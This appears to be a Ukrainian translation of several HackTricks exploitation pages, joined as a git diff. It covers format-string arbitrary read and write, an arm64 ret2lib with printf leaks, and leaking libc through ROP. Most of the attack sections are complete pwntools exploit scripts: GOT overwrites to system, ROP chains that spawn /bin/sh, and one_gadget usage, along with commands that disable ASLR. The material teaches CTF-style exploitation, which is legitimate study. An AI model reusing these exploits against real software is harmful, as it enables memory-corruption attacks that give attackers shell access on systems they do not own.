Зверніть увагу, що атакуючий контролює параметр `pr`**`intf`**, що в основному означає, що** його введення буде в стеку, коли буде викликано `printf`, що означає, що він може записувати конкретні адреси пам'яті в стек.
{% hint style="danger" %}
Атакуючий, який контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
{% endhint %}
## **Довільне Читання**
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться на **n позиції**, слідуючи за нею, і **друкувати її так, ніби це рядок** (друкувати до тих пір, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається на 4-й позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Зверніть увагу, що ви не можете поставити адресу 0x8048000 на початку введення, оскільки рядок буде обірвано на 0x00 в кінці цієї адреси.
{% endhint %}
### Знайти зсув
Щоб знайти зсув до вашого введення, ви можете надіслати 4 або 8 байтів (`0x41414141`), за якими слідує **`%1$x`** і **збільшувати** значення, поки не отримаєте `A's`.
<details>
<summary>Брутфорс зсуву printf</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Як корисно
Випадкові читання можуть бути корисними для:
* **Вивантаження** **бінарного** файлу з пам'яті
* **Доступу до конкретних частин пам'яті, де зберігається чутлива** **інформація** (як-от канарейки, ключі шифрування або користувацькі паролі, як у цьому [**CTF виклику**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Випадкове записування**
Форматер **`$<num>%n`** **записує** **кількість записаних байтів** за **вказаною адресою** в параметрі \<num> у стеку. Якщо зловмисник може записати стільки символів, скільки захоче, за допомогою printf, він зможе змусити **`$<num>%n`** записати випадкове число за випадковою адресою.
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до введення, для цього можна використовувати форматер **`%.<num-write>%<num>$n`**, щоб записати число **`<num-write>`** за **адресою, на яку вказує позиція `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Однак, зверніть увагу, що зазвичай для запису адреси, такої як `0x08049724` (що є ВЕЛИЧЕЗНИМ числом для запису одночасно), **використовується `$hn`** замість `$n`. Це дозволяє **записати лише 2 байти**. Тому ця операція виконується двічі: один раз для найвищих 2B адреси і ще раз для найнижчих.
Отже, ця вразливість дозволяє **записувати що завгодно в будь-яку адресу (произвольний запис).**
У цьому прикладі метою буде **перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча це може зловживати іншими техніками произвольного запису для виконання:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Ми будемо **перезаписувати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказує** на **функцію** **`system`**.\
Як згадувалося, для запису адреси зазвичай потрібно 2 кроки: спочатку **записуються 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
* **HOB** викликається для 2 вищих байтів адреси
* **LOB** викликається для 2 нижчих байтів адреси
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB], а потім інший.
Якщо HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Якщо HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntools Шаблон
Ви можете знайти **шаблон** для підготовки експлойту для цього типу вразливості в:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
Або цей базовий приклад з [**тут**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Форматні рядки до BOF
Можливо зловживати діями запису вразливості форматного рядка, щоб **записувати в адреси стеку** та експлуатувати вразливість типу **переповнення буфера**.
## Інші приклади та посилання
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 біт, без relro, без canary, nx, без pie, базове використання форматних рядків для витоку прапора зі стеку (немає потреби змінювати потік виконання)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 біт, relro, без canary, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) і запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
{% hint style="success" %}
Вчіть та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіть та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,227 @@
# Ret2lib + Printf leak - arm64
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## Ret2lib - обходження NX з ROP (без ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
```
Скомпілювати без канарки:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Знайти зсув
### Зсув x30
Створюючи шаблон з **`pattern create 200`**, використовуючи його та перевіряючи зсув за допомогою **`pattern search $x30`**, ми можемо побачити, що зсув становить **`108`** (0x6c).
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Дивлячись на дизасембльовану основну функцію, ми можемо побачити, що ми хочемо **перейти** до інструкції, щоб перейти до **`printf`** безпосередньо, зсув якої від місця, де завантажується бінарник, становить **`0x860`**:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### Знайти системну функцію та рядок `/bin/sh`
Оскільки ASLR вимкнено, адреси завжди будуть однаковими:
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
### Знайти гаджети
Нам потрібно мати в **`x0`** адресу до рядка **`/bin/sh`** та викликати **`system`**.
Використовуючи rooper, був знайдений цікавий гаджет:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
Цей гаджет завантажить `x0` з **`$sp + 0x18`** і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Отже, з цим гаджетом ми можемо **контролювати перший аргумент і потім стрибнути до system**.
### Exploit
```python
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - обхід NX, ASL та PIE з витоками printf зі стеку
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
```
Скомпілювати **без канарки**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE та ASLR, але без канарки
* Раунд 1:
* Витік PIE зі стеку
* Зловживання bof, щоб повернутися до main
* Раунд 2:
* Витік libc зі стеку
* ROP: ret2system
### Витоки Printf
Встановлюючи точку зупинки перед викликом printf, можна побачити, що в стеку є адреси для повернення до бінарного файлу, а також адреси libc:
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Спробувавши різні зсуви, **`%21$p`** може витікати адресу бінарного файлу (обхід PIE), а **`%25$p`** може витікати адресу libc:
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Віднімаючи витікну адресу libc від базової адреси libc, можна побачити, що **зсув** витікненої адреси від бази становить `0x49c40`.
### Зсув x30
Дивіться попередній приклад, оскільки bof той же.
### Знайти гаджети
Як у попередньому прикладі, нам потрібно мати в **`x0`** адресу рядка **`/bin/sh`** і викликати **`system`**.
Використовуючи rooper, було знайдено ще один цікавий гаджет:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
Цей гаджет завантажить `x0` з **`$sp + 0x78`** і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Отже, з цим гаджетом ми можемо **контролювати перший аргумент і потім стрибнути до system**.
### Exploit
```python
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,299 @@
# Витік адреси libc з ROP
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## Швидке резюме
1. **Знайдіть** переповнення **зсуву**
2. **Знайдіть** гаджет `POP_RDI`, гаджет `PUTS_PLT` та гаджет `MAIN`
3. Використовуйте попередні гаджети, щоб **витягнути адресу пам'яті** функції puts або іншої функції libc та **знайти версію libc** ([завантажте її](https://libc.blukat.me))
4. З бібліотекою, **обчисліть ROP та експлуатуйте його**
## Інші навчальні посібники та бінарники для практики
Цей навчальний посібник буде експлуатувати код/бінарник, запропонований у цьому навчальному посібнику: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Інші корисні навчальні посібники: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## Код
Ім'я файлу: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Leaking LIBC template
Завантажте експлойт і помістіть його в ту ж директорію, що й вразливий бінар, і надайте необхідні дані скрипту:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## 1- Знаходження зсуву
Шаблон потребує зсуву перед продовженням з експлойтом. Якщо будь-який зсув надано, він виконає необхідний код для його знаходження (за замовчуванням `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Виконайте** `python template.py`, відкриється консоль GDB з програмою, що зазнала збою. Всередині цієї **консолі GDB** виконайте `x/wx $rsp`, щоб отримати **байти**, які збиралися перезаписати RIP. Нарешті, отримайте **зсув** за допомогою консолі **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../.gitbook/assets/image (1007).png>)
Після знаходження зсуву (в цьому випадку 40) змініть змінну OFFSET всередині шаблону, використовуючи це значення.\
`OFFSET = "A" * 40`
Інший спосіб - використовувати: `pattern create 1000` -- _виконати до ret_ -- `pattern seach $rsp` з GEF.
## 2- Пошук гаджетів
Тепер нам потрібно знайти ROP гаджети всередині бінарного файлу. Ці ROP гаджети будуть корисні для виклику `puts`, щоб знайти **libc**, що використовується, а пізніше для **запуску фінального експлойту**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT` потрібен для виклику **функції puts**.\
`MAIN_PLT` потрібен для повторного виклику **головної функції** після одного взаємодії, щоб **використати** переповнення **знову** (безкінечні раунди експлуатації). **Він використовується в кінці кожного ROP для повторного виклику програми**.\
**POP\_RDI** потрібен для **передачі** **параметра** до викликаної функції.
На цьому етапі вам не потрібно нічого виконувати, оскільки все буде знайдено pwntools під час виконання.
## 3- Пошук бібліотеки libc
Тепер час знайти, яка версія бібліотеки **libc** використовується. Для цього ми збираємося **викрити** **адресу** в пам'яті **функції** `puts`, а потім ми будемо **шукати**, в якій **версії бібліотеки** знаходиться версія puts за цією адресою.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
Щоб це зробити, найважливішим рядком виконуваного коду є:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Це надішле кілька байтів, поки **перезаписування** **RIP** не стане можливим: `OFFSET`.\
Потім він встановить **адресу** гаджета `POP_RDI`, щоб наступна адреса (`FUNC_GOT`) була збережена в регістрі **RDI**. Це тому, що ми хочемо **викликати puts**, **передаючи** їй **адресу** `PUTS_GOT`, оскільки адреса в пам'яті функції puts зберігається за адресою, на яку вказує `PUTS_GOT`.\
Після цього буде викликано `PUTS_PLT``PUTS_GOT` всередині **RDI**), щоб puts **прочитала вміст** всередині `PUTS_GOT` (**адресу функції puts в пам'яті**) і **вивела її**.\
Нарешті, **головна функція викликається знову**, щоб ми могли знову експлуатувати переповнення.
Таким чином, ми **обманули функцію puts**, щоб вона **вивела** **адресу** в **пам'яті** функції **puts** (яка знаходиться в бібліотеці **libc**). Тепер, коли ми маємо цю адресу, ми можемо **шукати, яка версія libc використовується**.
![](<../../../../.gitbook/assets/image (1049).png>)
Оскільки ми **експлуатуємо** деякий **локальний** бінарний файл, **не потрібно** з'ясовувати, яка версія **libc** використовується (просто знайдіть бібліотеку в `/lib/x86_64-linux-gnu/libc.so.6`).\
Але в випадку віддаленої експлуатації я поясню, як ви можете це знайти:
### 3.1- Пошук версії libc (1)
Ви можете шукати, яка бібліотека використовується на веб-сторінці: [https://libc.blukat.me/](https://libc.blukat.me)\
Це також дозволить вам завантажити виявлену версію **libc**
![](<../../../../.gitbook/assets/image (221).png>)
### 3.2- Пошук версії libc (2)
Ви також можете зробити:
* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`
Це займе деякий час, будьте терплячими.\
Для цього нам потрібно:
* Ім'я символу libc: `puts`
* Витік адреси libc: `0x7ff629878690`
Ми можемо з'ясувати, яка **libc** найімовірніше використовується.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
Ми отримуємо 2 збіги (ви повинні спробувати другий, якщо перший не працює). Завантажте перший:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Скопіюйте libc з `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` до нашого робочого каталогу.
### 3.3- Інші функції для leak
```python
puts
printf
__libc_start_main
read
gets
```
## 4- Знаходження адреси libc на основі & експлуатація
На цьому етапі ми повинні знати, яка бібліотека libc використовується. Оскільки ми експлуатуємо локальний бінарний файл, я використаю просто: `/lib/x86_64-linux-gnu/libc.so.6`
Отже, на початку `template.py` змініть змінну **libc** на: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Встановіть шлях до бібліотеки, коли знаєте його`
Надавши **шлях** до **бібліотеки libc**, решта **експлуатації буде автоматично розрахована**.
Всередині функції `get_addr` буде розраховано **базову адресу libc**:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
Зверніть увагу, що **кінцева адреса бази libc повинна закінчуватися на 00**. Якщо це не ваш випадок, ви могли витікати неправильну бібліотеку.
{% endhint %}
Тоді адреса функції `system` та **адреса** рядка _"/bin/sh"_ будуть **обчислені** з **бази** **libc** та надані **бібліотеці libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Нарешті, експлойт виконання /bin/sh буде підготовлений для відправки:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Давайте пояснимо цей фінальний ROP.\
Останній ROP (`rop1`) знову викликав функцію main, тому ми можемо **знову експлуатувати** **переповнення** (ось чому `OFFSET` знову тут). Потім ми хочемо викликати `POP_RDI`, вказуючи на **адресу** _"/bin/sh"_ (`BINSH`), і викликати функцію **system** (`SYSTEM`), оскільки адреса _"/bin/sh"_ буде передана як параметр.\
Нарешті, **адреса функції exit** **викликається**, щоб процес **коректно завершився** і не було згенеровано жодних сповіщень.
**Таким чином, експлойт виконає \_/bin/sh**\_\*\* оболонку.\*\*
![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- Використання ONE\_GADGET
Ви також можете використовувати [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget), щоб отримати оболонку замість використання **system** і **"/bin/sh". ONE\_GADGET** знайде в бібліотеці libc спосіб отримати оболонку, використовуючи лише одну **ROP адресу**.\
Однак, зазвичай є деякі обмеження, найпоширеніші та легкі для уникнення - це такі, як `[rsp+0x30] == NULL`. Оскільки ви контролюєте значення всередині **RSP**, вам просто потрібно надіслати ще кілька значень NULL, щоб уникнути обмеження.
![](<../../../../.gitbook/assets/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
Ви можете знайти шаблон для експлуатації цієї вразливості тут:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## Загальні проблеми
### MAIN\_PLT = elf.symbols\['main'] не знайдено
Якщо символ "main" не існує. Тоді ви можете знайти, де знаходиться основний код:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
і встановіть адресу вручну:
```python
MAIN_PLT = 0x401080
```
### Puts не знайдено
Якщо бінар не використовує Puts, вам слід перевірити, чи використовує він
### `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
Якщо ви знайдете цю **помилку** після створення **всіх** експлойтів: `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
Спробуйте **відняти 64 байти від адреси "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,252 @@
# Витік libc - шаблон
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
